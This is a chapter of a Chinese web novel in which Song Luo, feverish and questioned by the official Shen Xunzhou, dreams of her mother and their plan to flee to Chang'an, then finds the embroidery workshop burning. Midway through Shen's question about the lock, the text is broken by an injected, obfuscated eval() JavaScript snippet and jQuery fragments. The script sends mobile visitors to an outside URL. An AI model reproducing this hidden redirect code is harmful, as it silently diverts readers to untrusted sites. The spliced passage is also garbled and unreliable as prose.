少女柔软的呼唤传入耳中,热息扑入颈侧,带起一阵湿湿的黏意。
先是在脑海中过了一遍,沈洵舟想起那页薄薄户籍册上的寥寥几语,当时未觉什么,此时却随着她神情铺开一层画面。
宋萝,汴州人,父母双亡。
武元四十九年,汴州曾发水患,死伤无数。
他垂下睫盯了她半刻,眸中升起一点奇异情绪,扣着她手臂的手下移,忽然揽住她的腰。
扑来一股淡淡馨香,以及极轻的一道铃铛声响。
沈洵舟伸出另一只手,揉上宋萝的后脑,那发丝蹭着他掌心。
这动作显然并不熟练,远远看去,像是挟持着人,但他语气轻柔,回了她那句“阿娘”,道:“我在。”
宋萝脑袋发昏,一时间竟分不清这声音来源,只觉温柔至极,认定是阿娘无疑,又凑近几分,脸颊贴上他的侧颈。
沈洵舟摸了两下她的脑袋,少女在安抚中静下来,他语调更温柔,却是问道:“你方才,去见谁了?”
“我......”宋萝停了停,理智升起片刻,又被热意扑下去,脑袋重重埋进眼前人的肩上。
她额上也太烫了。
隔着一层衣物,像揣了个小火炉。
“我去找小花了。”她埋着脸,声音模糊,断断续续的,“她说好给我钱的,但我,过去,她却不在,骗子。”
沈洵舟仔细分辨着她的话,眸光落在脚边那株海棠花上,长睫轻轻一颤。
一个人幼时最想要得到的,往往会成为一生的执念。
而宋萝的执念,便是钱么?
他想到初次见面时,给出的那二十两,她如此聪明,今日却以命相保绣坊。
甚至不惜站在对立面。
难道宋萝在长安还有亲人?
“叮——”铃铛声再次响起,被衣物阻隔,有些沉闷。沈洵舟看向她的胸口。
宋萝此时热得慌,在阿娘身上蹭了两下,却不见她来帮自己解衣服,便伸出手去抽腰间的裙带。
沈洵舟扣住她的手,止住她的动作,眸光闪了闪,向外唤道:“林赫,找个裴府的女婢过来。”
宋萝眼皮沉重,覆在眼前的光由亮转暗,意识模糊中,烛火噼剥声响在耳边,还有两人的低语声。
一人道:“......还在烧。”
另一道偏凉的嗓音说:“有些麻烦了。”顿了顿,那人似乎关上了窗,发出极轻的“嗒”声,那股似有似无的凉意也随之隔绝。
他低声道:“你先过去吧,我在这里守着。”
此后便是一片寂静。
意识逐渐坠入黑暗。
宋萝做了个梦。
那是阿娘还在的时候,草长莺飞,院中开了一簇又一簇的白色小花,阿娘将花采下来,做成两个小小花环,戴在她们脑袋上。
她一向学的快,反手薅了两大把小花,编成一个大花环,递给阿娘:“如此,这院内的杂草便除光了。”
幼妹贴在她腿边,软乎乎地喊:“饿,饿。”
一日两顿,粮食剩的不多,宋萝每次吃饭都把大半的食物让给幼妹,此时自己也饿的慌,她又仔细跑去那堆花前看了又看,终于挑出几朵带着花蜜的花,折了根茎,将尾部塞进幼妹嘴里,自己叼了根,剩余的便递给阿娘。
“这雨季也不知何时能过去,好叫我到山上打只野鸡吃。”她踹了两脚仍带露珠的草,面上气闷。
阿娘摸摸她的脑袋,看着那花环:“长安的三月,花开得更好看,等钱攒够了,我们便去长安。”
宋萝叼着花茎,气闷消弭,一只手指着眼前这破房子:“那便再也不回来了!”
脑袋上顶天的两只髻晃了晃。
阿娘问道:“我们的钱攒了多少了?”
还剩一点,便能去长安......了。
“钱攒了多少了?!”父亲的怒骂响遍了整间屋子,他狠狠踹向护着两个孩童的女人,呼哧呼哧喘着气,“死娘们,居然敢背着老子攒钱!”
女人挨了几脚,喉间溢出痛苦的吟声,苍白脸上满是泪痕:“求你,求你,不要再去赌了。”
身后传来幼妹的哭声,像是断了气,断断续续。
父亲拿走了全部的钱。
阿娘腰腹弓起痛苦的弧度,几乎要咳出血来,她一只手摸着被踢的肚子,一只手慢慢抚上宋萝的脸,语气又恨又轻:“......你不是说将钱藏好了吗?你不是说将钱藏好了吗!”
宋萝站着没有动,颊边被指甲扣入,泛起刺痛。过了一会,她才开口:“他把屋子都翻遍了,放在哪里都没有用。”
阿娘的手下移,轻轻扣住她的脖子,幼妹扑上来抱住她的腿,一个孩童与一个女人挂在她身上,有些重。
顿了片刻,宋萝慢慢伸出手,回抱住阿娘,安抚地拍了拍她的后背:“还能攒的,钱还能攒的,我会想办法。”
隔着破烂漏风的木门,她望向院内的青色野草:“我们一定能去长安的。”
宋萝拿过铲子,在房内墙角处的泥土地挖了个洞,又在下面的地基钉入一根长钉,铜钱用红绳串成一串,一端系死在那钉上,仔细将钱裹上布,埋进土里,再盖上睡觉用的草席。
果然没有再被发现。
铜钱一日日攒起来,父亲回家的时候也愈发少,每日晚上,她与阿娘还有幼妹一同挤在草席上。
三个人互相拥着,在四面漏风的房子里,得以喘息片刻。
宋萝拿着一根树枝,在泥土上画地图,延续昨夜说起的逃亡计划:
“过几日,便至春闱,我给腾意那书生压了几篇策论,他答应带我们出城,便无需过所,出城之后我们便往这条路走,躲开官道......”
幼妹闭上眼睛,昏昏欲睡,宋萝失笑,伸手摸了摸她的脑袋,阿娘的身体挪过来,抱住她们俩。
阿娘身上的温度传过来,脖上的伤痕已经结痂。宋萝眨了眨眼,轻声道:“阿娘,我们很快就能离开这里了。”
她没有回答。屋外的风吹得更凛冽了,传来尖锐啸声。
第三日,阿娘不见了。
宋萝抱着幼妹在门口等到天黑,依旧不见人影。
她慢慢站起身,拿起铲子进到屋里,挖开了草席下埋着的钱,布已被泥土染黄,脏污一片。
面色平静地拿起满是泥的布,手指轻轻翻开,幼妹抱着她的腿哭,仍是那半死不活的泣音。
她抿起唇,后背寒意一片。
“吱呀。”身后的门被风吹开了。
翻开那布,里面的铜钱露出来,一串一串。
一分也没有少。
阿娘没有拿钱走。
而带着酒意与怒气的声音从身后响起:“死娘们,居然还敢藏钱?!”
宋萝骤然惊醒。
风灌入窗内,发出嘶哑而不连续的呼声,像极了哭声。
烛火照亮床帐,一层层的浅青色映出暖光,床帷中弥漫着淡淡檀香。
她摸向胸口,心跳声剧烈。
平安锁不见了。
猛地拨开青帐,房内场景映入眼帘,一人坐在不远处的榻上,手上捏着枚黑子,正摆弄桌上棋局,听到动静,向她看来。
静了片刻,沈洵舟先开口道:“宋姑娘,你醒了?”
宋萝捏着纱帐,回忆起意识模糊的前一刻,自己栽进了沈洵舟的怀里。
所以他把她带到了衙门?
眼熟的几箱绣品摆在门边墙角,箱门闭拢。
身上衣物传来软滑触感,是昂贵的布料所致,袖口的绣花精致小巧。
她的衣服被换过了。
宋萝看向沈洵舟,床帷隐入烛光阴影中,她眸中冷意一闪,却是弱弱出声:“大人,我的衣物......”
少女怯懦的声线从床帐后传来。
沈洵舟转了转指尖棋子,移开目光:“你衣物是裴府婢女换的,那时你发热得厉害,医官为你诊脉,又灌了一副药,衣裳湿透,恐你再着凉,不得不换。”
“你原先的衣物。”他顿了顿,将棋子落入棋局,“那婢女识得,是府内另一名婢女香春的,只是晌时人不慎坠池,已经故去,那婢女将衣物要了回去,说是洗净再烧与她。”
宋萝心口微跳,香春在她离开后便被灭口,太过巧合,不知是否会让他生疑。
捏着帐角,想起那姑娘将衣物递给她时的眼神,讨好而真挚。
她缓缓开口:“怎会如此,那娘子那时将衣物借给我时还好好的,怎会一转眼落了池,天不怜好人,不知她何时入殓,到时我去为她烧一柱香。”
沈洵舟道:“已经下葬。”
宋萝皱起眉,为什么会这么快,崔珉在其中推动吗?
人一入土,有口难辨。
但自己的平安锁又去了哪里?
她以为他会再试探几句关于香春之事,心中想着应答之辞,等了片刻,那边却再未响起任何声音。
隔着床帐,看不清沈洵舟神情,实在叫她心中发慌。
索性一把拉开帐子,眼前大亮。
一枚平安锁躺在床边矮桌上,银色细链堆叠。
原来在这里,没有丢!
这个念头才升起,宋萝便觉不妙,抬眼看向沈洵舟,他偏着头静静看她,眸色寒凉如水,自己此时的神情已落入他眼中。
沈洵舟那双极黑的眼瞳带上一点审视,烛光落在锐利下颚,更显薄情:“这锁,是宋姑娘亲人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965743|161096||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
遗物?”
宋萝慢慢捏紧掌心,摇摇头:“这是珍珠捡的,见我喜欢便赠与了我,我与她这番情谊,自是重视这锁。”
烛火“噼剥”闪了两下。
屋内再次静下来。
沈洵舟盯着她,半张脸没入阴影,另一半犹如暖玉。指尖拾起一枚白子,他转开目光:“许姑娘是在何处捡到这枚锁?”
他没有信。
自己方才神情未控制好,他这样擅长察言观色的人,一定察觉到这平安锁对她的重要性。
平安锁被日日佩戴,早已磨出痕迹,一看便知是旧物。
不知他猜到几分,趁他没在看她,宋萝伸手将矮桌上的锁揣回怀里,一点声音也未发出,回道:“不知,大人可以去问问珍珠。”
沈洵舟又沉默了。
片刻后,他缓慢起身,身躯将烛光挡住,暗了一瞬。
宋萝皱起眉,以为沈洵舟要过来,却见他走向墙角那几箱堆叠的绣品,打开最上方的箱门,抽了一条绣帕出来。
沈洵舟道:“这条绣帕,我记得之前似乎并不在这箱绣品里,还请宋姑娘来认认。”
他站在那里,没有看过来。
宋萝醒来时,衣服完完整整地罩在身上,还盖了层被子。她摸了摸床边,又摸到一件极薄的外裳,拿起来穿上,掀开被子下床。
走到沈洵舟身边时,她看清了那张绣帕的原貌。
牡丹满园。
是那时给崔珉绣的,长安城坊图。
想起晌时崔珉说的话,浑身血液凉了大半。
他居然下手这么快。
这几箱绣品未作停留,便直接被沈洵舟带到衙门了,衙门里有崔珉安插的眼线吗?
“姑娘识得这绣帕?”沈洵舟握着绣帕,逼近几步,微凉声线落在耳边,“看来是本官记错了。”
宋萝心口一跳。
在亭中他验过这些绣品,不能确定他是否全部记住了,但当时自己保证过里面不会出任何问题。
倒不如顺水推舟,将疑点引回沈洵舟身边,受崔珉指使将这绣帕藏进来的人。
她装出思索神色盯着他手中绣帕,语调迟疑:“只是有些眼熟,绣坊内绣过的牡丹图少说也有几十幅,我实在是记不清,但每一箱往外送的绣品都得九娘确认过,或许可以问问九娘。”
九娘没见过这幅绣品,到时沈洵舟便可察觉到自己身边有眼线。
将争斗引过去,绣坊便可免一场无妄之灾。
宋萝抬起眼,去看沈洵舟的神情,他微微低头看她,烛火映在耳侧,竟衬得眸中含了几分柔情。
他怎么站这么近?
宋萝退开半步,垂下眸,等着沈洵舟下一句话。
身前再次沉默了。
奇怪。今日好奇怪。
若是以往,沈洵舟绝不会就此问罢,步步试探,引人入局。
一股难以形容的冷意传来全身,让心重重跳起来。
良久,沈洵舟开口道:“这绣帕并无不对?”
宋萝压下心中忽起的惊惧,状若茫然地摇摇头:“不太清楚,若是大人想验证它是否和昨日那张绣帕一样,藏了东西,得待重绣一遍方能知晓。”
沈洵舟:“现在可否绣?”
宋萝捏紧手心。
心为什么跳得这么快?
她眨了眨眼,道:“我......”话在喉间转了转,被她咽下,“我要先回家拿针和绣线。”
沈洵舟点头应了。
宋萝越过他,迈步走向门口,推开门,外面是昨夜见过的熟悉的路,这里果然是衙门。
沈洵舟坐回原先那张榻上,目光投向桌上的棋局,她带上房门,脚步轻巧地沿着路走出衙门。
天黑如墨,街上一个行人也没有。
另一条街传来三下锣声。
更夫喊道:“天干物燥,小心火烛。”
提起裙摆,一股莫名的冲动让她越走越快,直至狂奔。
风呛进喉咙,带起干涩的痛。她一路奔回许珍珠家,屋内未亮灯火,漆黑一片。
空无一人。
宋萝皱起眉,这么晚了,珍珠难道还在绣坊?
关好家门,她向着绣坊的方向跑去,越跑心跳得愈快,双髻上的红色发带在脑后扬起。
离绣坊只剩一条街,宋萝喘了口气,喉间却灌入一口焦意。
风是热的。
嘈杂的声音忽然传入耳中。
“快递水来!救火!”
加快脚步跑过这条街,远远便见,天际烧起一片火光,宛如日出烈阳,亮得惊人。
红色发带陡然落回肩上,宋萝怔在原地,耳中“嗡”地一声。
绣坊着火了。